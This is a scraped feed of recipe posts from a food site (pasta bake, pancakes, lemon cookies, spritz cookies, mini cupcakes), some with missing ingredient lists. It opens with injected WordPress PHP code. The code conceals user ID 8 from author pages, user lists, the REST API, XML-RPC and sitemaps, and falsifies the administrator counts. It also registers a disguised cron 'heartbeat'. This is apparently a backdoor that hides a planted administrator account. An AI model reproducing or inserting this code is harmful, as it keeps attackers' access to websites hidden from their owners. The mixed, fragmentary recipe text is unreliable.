add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 8;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 8;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 8;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Unstuffed Shells Pasta Bake appeared first on Recipes.
]]>This dish skips the fuss of stuffing shells but still delivers all the rich, comforting flavors in an easy, casserole-style bake. Perfect for a cozy family dinner or a crowd-pleasing potluck, it’s a hearty, feel-good meal that’s ready to impress with minimal effort.
“This dish is delicious yet simple,” our Test Kitchen shared. “All of the flavors and textures of stuffed shells, minus all the work.”
Ingredients:
Directions:
Gather all ingredients.
:max_bytes(150000):strip_icc():format(webp)/8747308-unstuffed-shells-pasta-bake-ddmfs-step-1-008-62d3b94319e54c9fb3aa038708d817c0.jpg)
| 508 | Calories |
| 30g | Fat |
| 28g | Carbs |
| 32g | Protein |
The post Unstuffed Shells Pasta Bake appeared first on Recipes.
]]>The post Best Homemade Pancake Recipe appeared first on Recipes.
]]>The best fluffy pancake recipe uses eggs differently than the others. I like to separate my yolks and my whites to give the texture the kind you find when you go out for a mega-brunch with those heavenly stacks of homemade pancakes.
This easy old fashioned pancake recipe calls for basic ingredients you likely already have in your cupboard.
Making a pancake recipe from scratch is just as easy as making them from a box, but they taste better and are better for you because they’re made from wholesome ingredients. You’ll mix the yolks in with sugar and melted butter, then add milk. You’ll then sift in the dry ingredients and stir it together.
Then with your hand-mixer, you’ll whip up the egg whites and fold that into your other mixture. The key is to mix it well but not so much that there are no lumps. Lumpy pancake batter = the best pancakes from scratch!
If you want to make old fashioned pancakes from scratch even easier, you can always prep your dry ingredients in advance. This way, when you and your crew want fluffy pancakes from scratch, you can simply mix in the wet ingredients. Make sure you store the dry ingredients of your homemade pancake mix recipe in an airtight container to keep it fresh.
If you’re a beginner, this is an easy pancake recipe with step by step instructions to get you started. Just because the eggs are separated doesn’t make it anymore complex. In fact, you’ll have it ready to cook in 10 minutes. From there, it’s another 10 minutes of cooking and you’ll soon have gorgeous stacks of easy homemade pancakes for the whole family to enjoy.
The post Best Homemade Pancake Recipe appeared first on Recipes.
]]>The post Lemon Cookies appeared first on Recipes.
]]>This is a splendidly flavorful, inviting cookie that’s bright and cheery during the blistery winter season, yet it’s also a cookie fit for those warm summer months where you’ll find them reminiscent of a refreshing summer lemonade.
They are fun to finish by decorating them how you like, you can drizzle icing in zigzag patterns over the top or take a spoonful and make a simple circle atop them. And no one said sprinkles are wrong either. However you finish them just don’t leave the icing off, it’s critical to the abundant lemony flavor of the cookie (as this portion of the cookie calls for the most lemon juice).
If you like a more noticeably yellow cookie simply add a little natural yellow food coloring to the dough to mimic the hues of those sunny lemon peels. It won’t affect the taste but I think we tend to eat with our eyes first so a little yellow addition is a nice touch if you have it.
All purpose flour: A critical ingredient that builds the base of the cookie. I use unbleached all-purpose flour.
Baking powder and baking soda: The combination of the two makes them spread less and creates a puffier cookie.
Salt: This balances the sweetness of the cookie.
Granulated sugar: What would cookies be without the sugar? It adds sweetness while also improving texture of the cookies.
Unsalted butter: Salted butter will work as well just omit the salt from the recipe.Lemons: You use both the lemon zest and lemon juice for the recipe. Zest before cutting and juicing.
Vanilla extract: This is compliments the lemon flavor.
Powdered sugar: This super fine sugar creates a smooth, sweet finish for the cookies.
Mix dry ingredients: In a large mixing bowl whisk together flour, baking powder, baking soda and salt.
Cream sugar, butter and zest: In a separate large mixing bowl using an electric hand mixer blend together granulated sugar, butter and lemon zest until combined then increase speed to high and whip for about 1 minute until it’s slightly pale and fluffy.
Add eggs and flavoring: Mix in egg and egg yolk, then blend in 1 1/2 Tbsp lemon juice and the vanilla extract (mixture may look a little separated because of the acidity that’s okay).
The post Lemon Cookies appeared first on Recipes.
]]>The post An Old Recipe That Sparked Debate The Cookie Debate appeared first on Recipes.
]]>
There’s a contentious debate going on here about what the best variety of cookie is. The husband doesn’t play favorites (it’s not normal, I know), but he’s quick to say what he dislikes. He doesn’t much care for shortbread, thinks meringue cookies like these are too sweet, and is downright intolerant of chunky cookies, especially if they contain raisins or nuts. I, however, think all cookies are worth appreciating, be they soft and chewy chocolate chip cookies, crisp and crunchy biscotti, cakey and tender madeleines, rich and dense lemon bars, or light and delicate tuiles. While I don’t discriminate against any cookies (OK, I admit I’m with the hubby on the raisin-hate—let’s just say that my grandparents fed me my entire life’s allotment of raisins when I was a kid), I do have a favorite cookie type: sandy and crumbly. Give me a shortbread or spritz cookie, and I’m a happy camper. Even better if it’s dipped in chocolate. Care to join the debate?

Ganache Filled Spritz Cookies
Printable Recipe
2 ounces heavy cream
3 ounces semisweet chocolate, chopped or ½ cup semisweet chocolate chips
6 ounces (1 ½ sticks) unsalted butter, at room temperature
3 ounces sugar
1 ½ ounces powdered sugar
¼ teaspoon fine sea salt
2 ¼ ounces eggs, at room temperature
¾ teaspoon vanilla extract
9 ounces cake flour, sifted
Bring the cream to a bare simmer in a small, heavy saucepan. Place the chocolate into a medium bowl, add the hot cream, and whisk until smooth. Let cool to room temperature.
Preheat the oven to 375˚F. In a mixer fitted with a paddle attachment, beat together the butter, sugar, powdered sugar, and salt on medium until creamy. Add the egg and vanilla and mix on low until blended. Add the flour and mix on low until the dough comes together, stopping the mixer once or twice to scrape down the sides of the bowl. Transfer the dough to a cookie press and press cookies about an inch apart onto parchment-lined baking trays. Bake for 17 to 18 minutes, or until lightly browned around the edges. Transfer cookies to a rack and let cool to room temperature.
Spread a scant teaspoon of the ganache onto the bottom of one of the cookies and sandwich together with another cookie. Sandwich together the remaining cookies with the remaining ganache in the same manner.

Makes about 20 sandwich cookies. If you don’t have a cookie press, simply use a pastry bag fitted with a large star tip and pipe cookies onto the baking trays in decorative shapes. Cookies keep for several days in a tightly sealed container in a cool, dry place.

The post An Old Recipe That Sparked Debate The Cookie Debate appeared first on Recipes.
]]>The post Mini Cupcakes appeared first on Recipes.
]]>They have a satisfying, light, buttery crumb, a welcomed sweet vanilla flavor, and the silky buttercream polishes them off perfectly.
If you need more you can easily double the recipe. Which I may recommend anyway and then you can freeze half the batch for a later time because anytime is a great time for mini cupcakes!
The post Mini Cupcakes appeared first on Recipes.
]]>